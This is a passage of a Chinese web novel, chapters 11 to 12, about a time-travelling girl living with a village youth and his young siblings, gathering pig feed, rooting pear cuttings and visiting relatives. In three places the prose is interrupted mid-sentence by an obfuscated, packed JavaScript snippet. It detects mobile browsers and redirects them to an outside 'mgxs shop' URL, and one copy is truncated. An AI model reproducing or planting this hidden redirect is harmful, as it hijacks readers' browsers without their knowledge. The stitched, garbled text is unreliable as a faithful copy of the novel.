于是,四个人浩浩荡荡地割猪草去了。 “这是什么花?好漂亮啊。”岳梨问。 路边有一种野花,一小朵一小朵的聚在一起,像撑开的花伞,顶端橙黄,边缘浅粉,很是漂亮。 “马缨丹,不要碰,有毒的。”李玉棠解释。 听说有毒,岳梨连忙收回跃跃欲试的手,果然好看的花都不简单。 一路上有不少岳梨从未见过的新鲜事物,她下意识掏手机,没摸到兜后浅浅叹口气。 割猪草要上河边去,会路过几户人家,熟悉的人看见李玉棠他们后出声打招呼。 “玉棠这是上哪去?” “小眠儿吃饭了没有,上大娘家吃点?” “小宁儿背着背篓干嘛去呀?” 也有人问起岳梨,李玉棠便说她是父亲好友的女儿,来家里玩几天。大家也不好多问,等人走后便议论起来。 四人到了河边,李玉棠去割草,小宁儿蹲地上捉虫子,岳梨不认识猪草,便和小眠儿捡石子儿玩。 “这块石头好像鞋垫儿。”岳梨拾起一块石头给小眠儿看。 “好像喔,大鞋垫。”小眠儿点头。 “这有个爱心,嚯,手套。” 李玉棠割满了一背篓猪草,岳梨的篮子里也多了各种奇形怪状的石头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144267|196356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 篮子有点沉,她挑挑选选,最后只留下了爱心、蘑菇和一颗非常光滑像鹌鹑蛋一样的石头。 “好了,就这些吧。”岳梨取舍完毕,看见李玉棠将满当当的背篓背了起来,觉得自己玩心会不会有点大,说道:“要不你给我分一点儿?” 李玉棠随手割了一把灰灰草放进她的篮子里,“好了。” 岳梨:...... 她吃火锅涮的豌豆尖都不止这么一点。 “哥哥也给我一点。”小眠儿转过身,露出自己的小背篓,示意他把草装里面。 于是李玉棠又割了一把猪草。 “我也要我也要。”小宁儿扔了虫子,颠颠跑过来。 时间也不早了,四人带着各自的“战利品”回家去。 路边有一棵梨树,来的路上岳梨尽看花花草草去了,现在才留意到它。 上面的果子被摘得差不多了,只零星挂着几个疙疙瘩瘩的,岳梨多看了两眼,想着明年可以来这里赏梨花。 到家后,将中午泡的种子种下,鸡鸭赶进笼,再无其他事情,各自洗漱好就要睡了。 和昨晚一样,岳梨睡外边,小眠儿睡中间,小宁儿在最里面。 李玉棠搬来两块擦干净的光滑石头,一块压在了小宁儿那边的被角,另一块压在了岳梨这边。 “小时候我一个人睡觉,爹娘担心我夜里踢被子就会这样。”李玉棠给一脸费解的岳梨解释。 “那你给我这放一块干什么,我睡姿挺好的呀,不会踢被子的。”岳梨说。 李玉棠:“......就放着吧。” “好吧,搬来搬去的也麻烦。” 岳梨缩进被窝睡了。 等人都睡着了,李玉棠在灶台后找到了那根岳梨教他写字的木棍。 他将它握在手里,借着月光,在院子里写下了一个又一个“井”字。 写到自己觉得满意后,他用脚在地上碾了几遍,直到看不清地上的字迹。 第二天清晨,李玉棠洗漱后没有着急做饭,他先去东屋看了一眼,三人睡得正香,也都在被子里,没悬在半空也没睡得乱七八糟。他轻手轻脚关上门,出去了。 * “个死老头子还不起来,我伺候完你爹你娘现在又伺候你和你儿子!”张春花叉着腰冲屋里吼,“等我累死了看你俩天天睡到大中午的连西北风都喝不上!” “起了起了,大早上的喊什么喊,不嫌丢人啊。”李二趿拉着鞋子从屋里出来。 “你还知道丢人啊,谁家汉子和你一样天天正事不干,游手好闲,懒得吃.屎都赶不上热乎的!”张春花看见自家丈夫的混样,心里火直冒。 李二没呛声,梗着脖子瞪了她一眼。 李玉棠等他俩没说话后才开口:“二伯娘。” “哟,玉棠怎么来了,还没吃早饭吧,我这饭刚熟,进来吃点。”张春花抬手招呼他。 “不吃了,二伯娘,我来是想要点梨树插穗回去种在院子里。”说着,李玉棠将提着的鸡蛋递过去。 “嗐,鸡蛋你拿回去,几根树枝又不值钱,等着二伯娘给你剪啊。” 张春花找来剪子在自家的梨树下转了两圈,挑着合适的枝条剪了几根。 “怎么突然想种树了?”张春花问道。 “觉得梨树开花还挺好看的,想以后每年都能看见。”李玉棠说。 11. 有好东西要给姐姐看 李玉棠带上三根插穗走了,鸡蛋被他强行塞到了张春花手上,二伯一直不太喜欢他,他也没想白拿二伯娘家的东西。 到家后开始做朝食,之前剩的包子不够吃一顿的,他又烙了几个饼子,中午也可以吃。 把人都叫起来后,惯例洗漱梳头,今天岳梨和小眠儿都带了新的绢花,两人开开心心地站在水缸前照了好一会。 吃过饭,李玉棠挖了一撮箕泥巴回来,加入适量水,团出三个湿润的泥球,将插穗分别插进去,再用之前买糕点的油纸将泥球包上,放到墙角等待生根,过些日子看哪枝长势最好就留哪枝种在院子里。 “这是什么。”岳梨戳着其中一个泥球问。 “梨树枝。”李玉棠道。 “要种梨树呀。”岳梨有些惊喜,昨天她还在心里想呢,没想到今天他就准备上了,这就是所谓的心有灵犀吗? “嗯,到时候在院子里就能看梨花了。”李玉棠道,又小心翼翼地问:“你会喜欢吗?” 岳梨偏偏头,原来他是为了自己,心里暖暖的,嘿嘿。 “很喜欢。”岳梨大力点头。 三个丑丑的泥球突然有了不一样的意义,她欣喜地摸了又摸,悄悄把玉皇大帝、王母娘娘、观世音菩萨等等她知道的所有神仙都求了个遍,希望他们保佑这三株插穗都好好长大。 “那你,还生气吗?” “嗯?” “就是昨天早上,我让你生气了,对不起。” “哦,你知道错啦?” “嗯,知道了。” 岳梨摸摸下巴,说:“那我问你,假如你只买了三块糕点,家里四个人,你要怎么分配?” “......小眠儿和小宁儿一人一块,我和你分一块?”李玉棠试探着答,见她眯眼凝视自己,连忙改口:“我和你一人一块,他俩分另一块?” 岳梨不说话,李玉棠绞尽脑汁想该如何分配她才会满意,突然灵光一现:“要不用戥子称一下,看看它们有多重,然后......” 岳梨扑哧一声笑出来,揶揄道:“你干脆扔锅里加点水熬成糊糊,一人喝一碗得了。” “这样也可以吗?”李玉棠睁大眼睛。 岳梨无奈摇头,道:“你傻啊,不知道再多买一块?” 李玉棠不好意思地垂下脑袋,没一会,也跟着笑了。 岳梨又说:“虽然我已经不生气了,但是你也要谨记,不要老把自己排在最后,什么好吃的呀好玩的呀也要记得给自己留一份,知道吗?” 李玉棠点头,见岳梨下巴上也粘上了泥,他掏出手帕下意识就想给她擦了。 岳梨征住,李玉棠的脸离她只有咫尺——眉眼锋利却不失少年气,鼻梁高.挺,唇形优美,不知道亲下去会怎么样...... 咳咳,岳梨你个流氓,龌龊! 她不由自主地说:“玉米糖,你可真好看,简直貌比潘安。” 李玉棠停下给她擦泥,在脑海里搜寻,确认自己认识的人里没有一个叫潘安的。 她把自己和这个叫潘安的人比较,十之八九是因为和这个潘安熟识,且潘安是她四周最俊美的人。 他迟疑着问:“潘安,是你在那个世界认识的人吗?” 岳梨:“......不是,他是历史上很出名的一个美男子。” 李玉棠为自己刚刚的错误猜测感到窃喜,又因为自己没上过学堂,连历史上很出名的人都不知道,在她面前出了丑,心情瞬间低落下来,喃喃道:“我,我不知道。” 岳梨发现他的眼神骤然暗下去,知道自己说错了话,连忙补救:“嗐,其实也没有那么出名的,很多人都不知道他,我还是偶然听说的。再说了,知道他干啥,他又不会给我们钱花,你说是吧?” 李玉棠点点头,笑得有些勉强。 “妹妹,哥哥和姐姐在干什么呀?”小宁儿捉了一条肥肥的大虫子,兴高采烈地往屋里走,想给哥哥姐姐看。 “哥哥在摸姐姐的脸。”小眠儿围观了两人的一举一动,肯定地说。 “嘿嘿,我有好东西要给他们看。”小宁儿笑得憨憨。 小眠儿想都不用想就知道宁宁说的好东西是什么。 “姐姐,你看。”小宁儿举起自己好不容易捉到的虫子。 一条食指粗的大青虫突然出现在眼前,还扭动了几下身体彰显存在感,岳梨被吓得弹起,连退十几步,声音都在颤抖:“宝...宝...你...你可不...可以...去外面...外面玩...” 李玉棠的手还保持着伸出去的姿势,他见岳梨怕得发抖,迅速牵起小宁儿往后院走,嘴里安抚岳梨:“别怕,马上就好。” 小宁儿一只手捉着青虫,一只手被哥哥牵着,眼神迷茫,问李玉棠:“哥哥,姐姐怎么了呀?” 李玉棠将人带到后院,蹲下身说:“小宁儿,姐姐很怕虫子,以后捉了虫不要让姐姐看见好不好?” 小宁儿举起大青虫左看看右看看,心里喜欢得不得了,对岳梨害怕它这件事很是不解,问:“这么肥的虫虫都不喜欢吗?” 李玉棠说:“就像你不喜欢臭臭菜,姐姐也不喜欢虫虫,要是让你吃臭臭菜你开心吗?” 小宁儿使劲摇脑袋,说:“不开心。” “所以不要捉虫虫给姐姐看,可以吗?” “好吧,那我把虫虫给小鸡吃。” “真乖。” 屋里,岳梨终于缓了过来,小眠儿牵着她坐下,小手在她后背一下一下拍着:“姐姐别怕哦,那个虫虫不咬人的。” 岳梨从小就怕那些没有骨头、在地上扭来扭去的软体虫,看一眼都要恶心好几天,小宁儿这一下着实把她吓得不轻,她问小眠儿为什么他这么喜欢捉虫子。 “给小鸡喂呀,它们本来这么小。”小眠儿双手比出一个鸡蛋大小的形状给岳梨看,“吃了虫虫就会长这么大。”说着手臂张开,向岳梨展示吃了虫的小鸡能长多大。 岳梨:......就算打激素也长不了这么大吧。 这时李玉棠牵着小宁儿走过来,小宁儿主动给岳梨道歉:“姐姐,我错了,我以后不捉虫虫吓你了。” 他的小脑袋低着,肩膀也垮下去,不安地对着手指。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144268|196356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 岳梨将小宁儿抱到腿上坐好,说:“没关系,姐姐已经不害怕了。” 李玉棠又询问了一遍,确定岳梨真的没事后才安心。 小宁儿这一茬算是将两人刚刚的谈话翻篇,今天李玉棠要上山去挖草药,告诉岳梨可以去大伯娘家玩。 屋外,李玉河和李玉兰推开院门走了近来。 “小~宁~宁~你~在~家~吗~”还没进屋,李玉河就怪叫起来,像是恐怖故事里的熊嘎婆。 李玉兰跳起来给了他脑袋一下,骂道:“娘说了叫你别惹小宁儿,每次都把他弄哭。” 李玉河被打习惯了,没有和妹妹计较,辩解道:“那还不是因为小宁宁太好玩了,我忍不住嘛。” 李玉兰又打了他一巴掌。 李玉棠朝门口看了一眼,叫两人进屋。 “二哥。”兄妹俩和他打招呼。 昨天何金夏和他们说二哥家里来了个漂亮姐姐,俩人很好奇,正巧李玉棠之前和李玉河约好了今天去挖草药,兄妹俩便结伴而来。 见到岳梨后,兄妹俩都停下了说话,盯着人看了好一阵才意识到不妥,赶忙收回视线。 “这是岳梨姐姐。”李玉棠给他们介绍。 “姐姐好。”兄妹俩喊道。 “这是我堂弟李玉河,堂妹李玉兰。”李玉棠对岳梨说。 岳梨回以微笑。 李玉河逮着小宁儿玩闹,咬他小脸戳他小肚子,小宁儿抵住他脑袋挣扎,看不下去的小眠儿跑过来一巴掌糊李玉河脸上,圆溜溜的大眼睛怒视他。 “好了好了,不闹了啊不闹了。”李玉河松开对小宁儿的禁锢,抓住小眠儿的手叭叭亲了两口,“好眠眠,乖眠眠。” 小眠儿嫌弃他,在他衣裳上擦干净手,朝他吐吐舌头,拉着小宁儿头也不回地跑了。 “你们玩,碗橱里有烙饼,饿了吃。”李玉棠装了两张饼和一壶水,带上需要的家什叫堂弟上山去。他们一行有五个人,一些名贵草药只在深山里生长,多几个人一起进山也多个照应。 岳梨和李玉兰互相打量,两人相差了五六岁,按理说三岁一代沟,六岁隔横沟,加上又不是一个世界的,应该不容易玩到一块。但李玉兰见这个陌生姐姐生得好看,心里欢喜,忍不住想要和她亲近,岳梨也被李玉兰身上的勃勃生机吸引,两人很快就坐在了一起,叽叽喳喳聊个不停。 “姐姐你是不知道我二叔他有多懒,有次二婶回娘家,他和三哥饭都懒得做,天天来我家蹭饭。这个也就算了,他们居然澡也不洗,隔老远都能闻到味。衣服也不洗,就堆在地上,二婶回去后,整整骂了两个时辰!” “天呐,怎么这样啊。” “还有还有,每次干活,二叔干不了多久就喊累要休息。三哥也是,说什么自己还小,干不了重活。然后活都留给二婶一个人干,我看见二婶都哭了!” “啧啧啧,那二婶是怎么看上这个男人的啊?” 想起二婶的遭遇,李玉兰湿了眼角,她有些哽咽:“二婶...二婶她很可怜。” 任凭岳梨怎么打听,李玉兰都没有说出实情。 12. “谋害” 岳梨给低头啜泣的李玉兰擦眼泪,心里也很不好受。从小姑娘的态度,岳梨知道二婶肯定是经历了很不好的事情才会被迫嫁给一个烂人,困在不幸的婚姻里十几年。 可是她们能做什么呢? 去把李二叔和他儿子揍一顿吗?去劝二婶离婚吗? 前者,打着为二婶出头的名义闹上门去本质上并不是替二婶着想,实际上只是为了宣泄自己的情绪找一个冠冕堂皇的借口。万一事情闹大了把前尘往事再公之于众,首当其冲的一定是二婶。 后者,古代女性的生存本就艰难,二婶离了李二叔,依二婶娘家那个做派,肯定是不会让她回去住的。要是二婶没有一技之长维持生计,她又该如何在这个残酷的、压迫女性的社会生存下去呢? 所以,岳梨决定先按兵不动,反正她目前每天都无所事事的,可以多在村子里转转,了解一下当年的内情,到时候再看能不能帮二婶一把。 “好了好了,别哭了哦。”岳梨揽着李玉兰,轻拍她的肩膀。 李玉兰抽抽鼻子,懊恼地说:“对不起啊姐姐,我不该把这事告诉你的,让你也难过了。” 岳梨摇头:“没关系,天下女性本就一体,你同情二婶的遭遇,我也是。” “姐姐,你真好。我听到村里很多人说肯定是二婶上辈子造了孽,这辈子才要赎罪,还说什么这些都是她应得的。我真的好气愤,明明二婶受到了伤害,却还要被他们指指点点。”村里人说的那些难听话,连李玉兰这个十三岁的孩子都听到过不少,更不用说这些年有多少下.流谣言传到张春花本人耳中。 想起曾经在网上看到的那些人神共愤的新闻,岳梨也忍不住红了眼眶。 两人依偎在一起,双眼放空,心绪难平。 “对了,今天我娘要做粉饼,姐姐你要不要去我家玩?”李玉兰问,打破了死寂的氛围。 粉饼?这个粉饼不是现代化妆的那种粉饼吧,应该是吃的饼。 岳梨抬手擦眼睛,说:“好啊,我还没吃过粉饼呢,好不好吃呀?” 李玉兰双眼微睁,不解地问岳梨:“姐姐你不知道粉饼?粉饼不可以吃,是涂在脸上让脸变白的呀。” 岳梨尴尬地挠头,原来真是化妆品啊,她说:“嗐,是我没见识了。” 李玉兰拉起岳梨要带她去看粉饼是怎么做的,也叫上了小眠儿和小宁儿。 俩小孩从屋里翻出来了两个泥叫叫,你吹一声,我吹一声,一路上不是咻咻咻就是哔哔哔的噪声。鉴于他俩一直都很乖,难得才吵闹一回,岳梨和李玉兰什么都没说,只是默默捂住了耳朵。 “娘,我带岳梨姐姐来玩了。”李玉兰大声说。 “咻——” “大伯娘。”岳梨和何金夏打招呼。 “哔——” “去一边玩去,别在我这捣乱。”何金夏正在磨米,拍掉李玉兰抓米的手,见她俩双眼红红,像是哭过了的样子,立马追问:“你俩怎么了?被谁欺负了?” “咻——” “没事,就是被风吹了一下。”何金夏不让李玉兰说李二家的事情,李玉兰随口编了个理由糊弄她。 “哔——” “真没事?”何金夏怕她俩被欺负了瞒着大人不说。 “咻——” “大伯娘,真没事,来的路上起了风,我俩被沙子迷了眼睛。”岳梨道。 “哔——” “那小眠儿和小宁儿怎么没这样?”何金夏指着鼓起腮帮子吹得起劲的俩小孩问。 “咻——” “......他俩个太矮了,没被吹着。”岳梨眼神飘忽地说。 “哔——” 见两人这样,何金夏不再多问,笑着让小眠儿和小宁儿轻点吹。 “咻~” 李玉兰指着正在砍柴的中年男子对岳梨说那是她爹。 岳梨喊道:“大伯好。” “哔——” 俩小孩跟雷达似的,人朝哪边说话,他俩就叼着泥叫叫朝那边用力吹,脸蛋子鼓起十分可爱,要是泥叫叫发不出声音就更可爱了。 李大丢了斧头乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144269|196356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呵呵站起来,对岳梨说:“进屋里坐,玉兰去拿些吃的出来。” “咻——” 小眠儿和小宁儿要跟着岳梨进屋,被李大一手一个抓住了衣领,诱.哄道:“大伯做了竹马,谁要玩呀?” “哔——” “咻——” “都要玩是不是?那把泥叫叫给大伯收着,大伯拿竹马给你们玩。”李大朝俩小孩伸出手。 小眠儿和小宁儿顺从地将泥叫叫给他,还不忘叮嘱他收好,一会他们还要玩。一人骑着一只竹马互相追逐,大家的耳朵终于被解救。 李大将泥叫叫揣进兜里,安心地坐下来继续砍柴。 岳梨和李玉兰坐在堂屋吃板栗、瓜子,听着小眠儿和小宁儿清脆的笑声,岳梨十分敬佩地说:“那个什么竹马是你爹自己做的?可真厉害。” 李玉兰拍着膝盖哈哈笑:“那是他在赎罪,姐姐你猜那俩泥叫叫是谁买的?” 岳梨挑眉,问:“难不成是你爹买的?” 李玉兰肯定地点头。 前些日子有个货郎来村子里卖货,独轮车上摆了不少小孩子喜欢的玩意儿,李大在里面挑挑选选,最后看中了两个泥叫叫。 这小玩意儿主体是一只泥捏的鸡,刚好两个小侄子属鸡,李大觉得他俩会喜欢,钱掏得十分爽快。 能发出声音的各种物件儿确实招小孩儿喜欢,小眠儿和小宁儿对造型好看的泥叫叫爱不释手,吃饭的时候都要将其摆在桌上,咽下一口菜后就拿起来吹一下,就连睡觉都恨不得叼在嘴里,只要睡醒就能立马吹上一两声。 后院公鸡母鸡咕咕咯咯叫,屋里两只泥鸡咻咻哔哔响。 最后李玉棠被他俩吵得没办法,悄悄把这烦人玩意儿藏起来了,没成想今天又被他俩给找着了。 “待会我们回去的时候一定不要提醒他们,就让这两只泥鸡永远遗留在你家。”岳梨一脸凝重地说。 “好,要不然干脆让它俩彻底消失。”李玉兰提议。 两人对视一眼,露出邪恶反派专属笑容:“桀桀桀。”